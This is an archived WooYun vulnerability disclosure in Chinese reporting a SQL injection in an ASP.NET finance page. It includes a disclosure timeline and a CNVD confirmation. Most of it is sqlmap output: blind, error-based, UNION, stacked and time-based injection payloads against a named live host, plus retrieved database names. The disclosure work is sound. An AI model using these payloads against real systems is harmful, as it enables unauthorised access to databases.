乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-05-29: 细节已通知厂商并且等待厂商处理中 2015-06-03: 厂商已经确认,细节仅向厂商公开 2015-06-13: 细节向核心白帽子及相关领域专家公开 2015-06-23: 细节向普通白帽子公开 2015-07-03: 细节向实习白帽子公开 2015-07-18: 细节向公众公开
.。
漏洞post注入,注入点:
1.http://**.**.**/Finance/Invoice_edit.aspx
这个页面需要禁用js,造成未授权访问与注入
__VIEWSTATE=%2FwEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=%2FwEWGwLnhozSDALQ5ohWAta%2B45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu%2FYIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu%2Fe7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx%2B%2Ba7wwC17Oo%2BAUClcHttgQC9MDttgQC2ZfezAQCr52E%2FgYCssvZuwECicH%2FtA8tb4Si3B%2F47JvbL3NDvQvDDgP%2Fj4GrR9pWxnri%2Bd21qw%3D%3D&sfk=&sdate=2015-5-28&edate=2015-5-28&fs=&keyword=111&Button1=+%E6%9F%A5%E8%AF%A2+&id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf=
Place: POSTParameter: sdate Type: boolean-based blind Title: OR boolean-based blind - WHERE or HAVING clause (Generic comment) Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=/wEWGwLnhozSDALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA8tb4Si3B/47JvbL3NDvQvDDgP/j4GrR9pWxnri d21qw==&sfk=&sdate=-4838') OR (4302=4302)-- &edate=2015-5-28&fs=&keyword=111&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf= Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=/wEWGwLnhozSDALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA8tb4Si3B/47JvbL3NDvQvDDgP/j4GrR9pWxnri d21qw==&sfk=&sdate=2015-5-28') AND 4383=CONVERT(INT,(SELECT CHAR(113) CHAR(99) CHAR(104) CHAR(97) CHAR(113) (SELECT (CASE WHEN (4383=4383) THEN CHAR(49) ELSE CHAR(48) END)) CHAR(113) CHAR(109) CHAR(100) CHAR(100) CHAR(113))) AND ('FbpB'='FbpB&edate=2015-5-28&fs=&keyword=111&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf= Type: UNION query Title: Generic UNION query (NULL) - 20 columns Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=/wEWGwLnhozSDALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA8tb4Si3B/47JvbL3NDvQvDDgP/j4GrR9pWxnri d21qw==&sfk=&sdate=2015-5-28') UNION ALL SELECT NULL,CHAR(113) CHAR(99) CHAR(104) CHAR(97) CHAR(113) CHAR(71) CHAR(73) CHAR(71) CHAR(99) CHAR(107) CHAR(116) CHAR(99) CHAR(77) CHAR(106) CHAR(69) CHAR(113) CHAR(109) CHAR(100) CHAR(100) CHAR(113),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- &edate=2015-5-28&fs=&keyword=111&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf= Type: stacked queries Title: Microsoft SQL Server/Sybase stacked queries Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=/wEWGwLnhozSDALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA8tb4Si3B/47JvbL3NDvQvDDgP/j4GrR9pWxnri d21qw==&sfk=&sdate=2015-5-28'); WAITFOR DELAY '0:0:5'--&edate=2015-5-28&fs=&keyword=111&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf= Type: AND/OR time-based blind Title: Microsoft SQL Server/Sybase time-based blind Payload: __VIEWSTATE=/wEPDwUKMTQ5NTg2Nzk3Nw9kFgICAw9kFgYCDQ8PFgIeB0VuYWJsZWRoZGQCDw8WAh4LXyFJdGVtQ291bnRmFgICAQ9kFgwCAQ8PFgIeBFRleHQFATBkZAIDDw8WAh8CBQEwZGQCBQ8PFgIfAgUBMGRkAgcPDxYCHwIFATBkZAIJDw8WAh8CBQEwZGQCCw8PFgIfAgUBMGRkAhEPPCsAEQEBEBYAFgAWAGQYAQUHZXhjZWxkYg9nZMGtj0PyVvM1o79aqnKg4jnKwUgpCEOSHU6uZTtcR69i&__EVENTVALIDATION=/wEWGwLnhozSDALQ5ohWAta 45ILAsXWuIkDAo2x1OQEArq91OQEAoOvu/YIAqCEu7YNAt3thy0CzdKOxAgCu82OxAgCuu/e7wwClcm02QQCi4DvoggCgK3kwwECy4Tu4AsC3eXi0AkCjOeKxgYCu6uxhggCx a7wwC17Oo AUClcHttgQC9MDttgQC2ZfezAQCr52E/gYCssvZuwECicH/tA8tb4Si3B/47JvbL3NDvQvDDgP/j4GrR9pWxnri d21qw==&sfk=&sdate=2015-5-28') WAITFOR DELAY '0:0:5'--&edate=2015-5-28&fs=&keyword=111&Button1= %E6%9F%A5%E8%AF%A2 &id=0&iarr=&dflag=1&cflag=1&datagroup=&id_list=&page_h=930&fp_kf=---[14:50:37] [INFO] testing Microsoft SQL Server[14:50:38] [INFO] confirming Microsoft SQL Server[14:50:38] [INFO] the back-end DBMS is Microsoft SQL Serverweb server operating system: Windows 2003 or XPweb application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2005[14:50:38] [INFO] fetching database names[14:50:39] [INFO] the SQL query used returns 50 entries[14:50:39] [INFO] retrieved: amyt_pek[14:50:39] [INFO] retrieved: bfz_bjs
http://hxd.4000211929.com/Finance/Invoice_edit.aspx
危害等级:中
漏洞Rank:10
确认时间:2015-06-03 12:26
CNVD确认并复现所述情况,已经转由CNCERT向民航行业测评中心通报,由其后续协调网站管理单位处置.
暂无